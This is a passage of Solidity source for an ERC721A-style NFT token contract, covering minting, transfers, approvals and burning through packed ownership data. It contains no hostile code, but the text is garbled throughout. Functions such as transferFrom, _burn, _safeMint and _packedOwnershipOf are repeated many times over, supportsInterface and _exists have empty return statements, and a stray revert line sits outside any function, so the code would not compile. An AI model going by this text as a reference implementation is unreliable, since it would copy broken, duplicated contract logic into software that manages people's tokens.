address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}
pragma solidity ^0.8.4;
}
struct TokenApprovalRef {
address value;
}
uint256 private constant BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;
uint256 private constant BITPOS_NUMBER_MINTED = 64;
uint256 private constant BITPOS_NUMBER_BURNED = 128;
uint256 private constant BITPOS_AUX = 192;
uint256 private constant BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;
uint256 private constant BITPOS_START_TIMESTAMP = 160;
uint256 private constant BITMASK_BURNED = 1 << 224;
uint256 private constant BITPOS_NEXT_INITIALIZED = 225;
uint256 private constant BITMASK_NEXT_INITIALIZED = 1 << 225;
uint256 private constant BITPOS_EXTRA_DATA = 232;
uint256 private constant BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;
uint256 private constant BITMASK_ADDRESS = (1 << 160) - 1;
uint256 private constant MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;
uint256 private _currentIndex;
uint256 private _burnCounter;
string private _name;
string private _symbol;
mapping(uint256 => uint256) private _packedOwnerships;
mapping(address => uint256) private _packedAddressData;
mapping(uint256 => TokenApprovalRef) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
}
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
function _nextTokenId() internal view virtual returns (uint256) {
return _currentIndex;
}
function totalSupply() public view virtual override returns (uint256) {
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
function totalSupply() public view virtual override returns (uint256) {
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
function _totalMinted() internal view virtual returns (uint256) {
unchecked {
return _currentIndex - _startTokenId();
}
}
function _totalMinted() internal view virtual returns (uint256) {
unchecked {
return _currentIndex - _startTokenId();
}
}
function _totalBurned() internal view virtual returns (uint256) {
return _burnCounter;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return
}
function balanceOf(address owner) public view virtual override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return _packedAddressData[owner] & BITMASK_ADDRESS_DATA_ENTRY;
}
function _numberMinted(address owner) internal view virtual returns (uint256) {
return (_packedAddressData[owner] >> BITPOS_NUMBER_MINTED) & BITMASK_ADDRESS_DATA_ENTRY;
}
function _numberBurned(address owner) internal view virtual returns (uint256) {
return (_packedAddressData[owner] >> BITPOS_NUMBER_BURNED) & BITMASK_ADDRESS_DATA_ENTRY;
}
function _getAux(address owner) internal view virtual returns (uint64) {
return uint64(_packedAddressData[owner] >> BITPOS_AUX);
}
function _setAux(address owner, uint64 aux) internal virtual {
uint256 packed = _packedAddressData[owner];
uint256 auxCasted;
assembly {
auxCasted := aux
}
packed = (packed & BITMASK_AUX_COMPLEMENT) | (auxCasted << BITPOS_AUX);
_packedAddressData[owner] = packed;
}
function _setAux(address owner, uint64 aux) internal virtual {
uint256 packed = _packedAddressData[owner];
uint256 auxCasted;
assembly {
auxCasted := aux
}
packed = (packed & BITMASK_AUX_COMPLEMENT) | (auxCasted << BITPOS_AUX);
_packedAddressData[owner] = packed;
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr)
if (curr < _currentIndex) {
uint256 packed = _packedOwnerships[curr];
if (packed & BITMASK_BURNED == 0) {
while (packed == 0) {
packed = _packedOwnerships[--curr];
}
return packed;
}
}
}
revert OwnerQueryForNonexistentToken();
}
function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
ownership.addr = address(uint160(packed));
ownership.startTimestamp = uint64(packed >> BITPOS_START_TIMESTAMP);
ownership.burned = packed & BITMASK_BURNED != 0;
ownership.extraData = uint24(packed >> BITPOS_EXTRA_DATA);
}
function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) {
return _unpackedOwnership(_packedOwnerships[index]);
}
function _initializeOwnershipAt(uint256 index) internal virtual {
if (_packedOwnerships[index] == 0) {
_packedOwnerships[index] = _packedOwnershipOf(index);
}
}
function _initializeOwnershipAt(uint256 index) internal virtual {
if (_packedOwnerships[index] == 0) {
_packedOwnerships[index] = _packedOwnershipOf(index);
}
}
function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) {
return _unpackedOwnership(_packedOwnershipOf(tokenId));
}
function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
assembly {
owner := and(owner, BITMASK_ADDRESS)
result := or(owner, or(shl(BITPOS_START_TIMESTAMP, timestamp()), flags))
}
}
function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
assembly {
owner := and(owner, BITMASK_ADDRESS)
result := or(owner, or(shl(BITPOS_START_TIMESTAMP, timestamp()), flags))
}
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return address(uint160(_packedOwnershipOf(tokenId)));
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : '';
}
function _baseURI() internal view virtual returns (string memory) {
return '';
}
function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
assembly {
result := shl(BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
}
}
function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
assembly {
result := shl(BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
}
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
if (_msgSenderERC721A() != owner)
if (!isApprovedForAll(owner, _msgSenderERC721A())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_tokenApprovals[tokenId].value = to;
emit Approval(owner, to, tokenId);
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
if (_msgSenderERC721A() != owner)
if (!isApprovedForAll(owner, _msgSenderERC721A())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_tokenApprovals[tokenId].value = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId].value;
}
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSenderERC721A()) revert ApproveToCaller();
_operatorApprovals[_msgSenderERC721A()][operator] = approved;
emit ApprovalForAll(_msgSenderERC721A(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
transferFrom(from, to, tokenId);
if (to.code.length != 0)
if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
transferFrom(from, to, tokenId);
if (to.code.length != 0)
if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return
_startTokenId() <= tokenId &&
}
function _safeMint(address to, uint256 quantity) internal virtual {
_safeMint(to, quantity, '');
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal virtual {
_mint(to, quantity);
unchecked {
if (to.code.length != 0) {
uint256 end = _currentIndex;
uint256 index = end - quantity;
do {
if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (index < end);
}
}
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal virtual {
_mint(to, quantity);
unchecked {
if (to.code.length != 0) {
uint256 end = _currentIndex;
uint256 index = end - quantity;
do {
if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (index < end);
}
}
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal virtual {
_mint(to, quantity);
unchecked {
if (to.code.length != 0) {
uint256 end = _currentIndex;
uint256 index = end - quantity;
do {
if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (index < end);
}
}
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal virtual {
_mint(to, quantity);
unchecked {
if (to.code.length != 0) {
uint256 end = _currentIndex;
uint256 index = end - quantity;
do {
if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (index < end);
}
}
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal virtual {
_mint(to, quantity);
unchecked {
if (to.code.length != 0) {
uint256 end = _currentIndex;
uint256 index = end - quantity;
do {
if (!_checkContractOnERC721Received(address(0), to, index++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (index < end);
}
}
}
if (_currentIndex != end) revert();
function _mint(address to, uint256 quantity) internal virtual {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
unchecked {
_packedAddressData[to] += quantity * ((1 << BITPOS_NUMBER_MINTED) | 1);
_packedOwnerships[startTokenId] = _packOwnershipData(
to,
_nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
);
uint256 tokenId = startTokenId;
uint256 end = startTokenId + quantity;
do {
emit Transfer(address(0), to, tokenId++);
} while (tokenId < end);
_currentIndex = end;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _mint(address to, uint256 quantity) internal virtual {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
unchecked {
_packedAddressData[to] += quantity * ((1 << BITPOS_NUMBER_MINTED) | 1);
_packedOwnerships[startTokenId] = _packOwnershipData(
to,
_nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
);
uint256 tokenId = startTokenId;
uint256 end = startTokenId + quantity;
do {
emit Transfer(address(0), to, tokenId++);
} while (tokenId < end);
_currentIndex = end;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _mint(address to, uint256 quantity) internal virtual {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
unchecked {
_packedAddressData[to] += quantity * ((1 << BITPOS_NUMBER_MINTED) | 1);
_packedOwnerships[startTokenId] = _packOwnershipData(
to,
_nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
);
uint256 tokenId = startTokenId;
uint256 end = startTokenId + quantity;
do {
emit Transfer(address(0), to, tokenId++);
} while (tokenId < end);
_currentIndex = end;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _mintERC2309(address to, uint256 quantity) internal virtual {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
if (quantity > MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
unchecked {
_packedAddressData[to] += quantity * ((1 << BITPOS_NUMBER_MINTED) | 1);
_packedOwnerships[startTokenId] = _packOwnershipData(
to,
_nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
);
emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);
_currentIndex = startTokenId + quantity;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _mintERC2309(address to, uint256 quantity) internal virtual {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
if (quantity > MAX_MINT_ERC2309_QUANTITY_LIMIT) revert MintERC2309QuantityExceedsLimit();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
unchecked {
_packedAddressData[to] += quantity * ((1 << BITPOS_NUMBER_MINTED) | 1);
_packedOwnerships[startTokenId] = _packOwnershipData(
to,
_nextInitializedFlag(quantity) | _nextExtraData(address(0), to, 0)
);
emit ConsecutiveTransfer(startTokenId, startTokenId + quantity - 1, address(0), to);
_currentIndex = startTokenId + quantity;
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
function _getApprovedAddress(uint256 tokenId)
private
view
returns (uint256 approvedAddressSlot, address approvedAddress)
{
TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
assembly {
approvedAddressSlot := tokenApproval.slot
approvedAddress := sload(approvedAddressSlot)
}
}
function _getApprovedAddress(uint256 tokenId)
private
view
returns (uint256 approvedAddressSlot, address approvedAddress)
{
TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
assembly {
approvedAddressSlot := tokenApproval.slot
approvedAddress := sload(approvedAddressSlot)
}
}
function _isOwnerOrApproved(
address approvedAddress,
address from,
address msgSender
) private pure returns (bool result) {
assembly {
from := and(from, BITMASK_ADDRESS)
msgSender := and(msgSender, BITMASK_ADDRESS)
result := or(eq(msgSender, from), eq(msgSender, approvedAddress))
}
}
function _isOwnerOrApproved(
address approvedAddress,
address from,
address msgSender
) private pure returns (bool result) {
assembly {
from := and(from, BITMASK_ADDRESS)
msgSender := and(msgSender, BITMASK_ADDRESS)
result := or(eq(msgSender, from), eq(msgSender, approvedAddress))
}
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedOwnerships[tokenId] = _packOwnershipData(
to,
BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
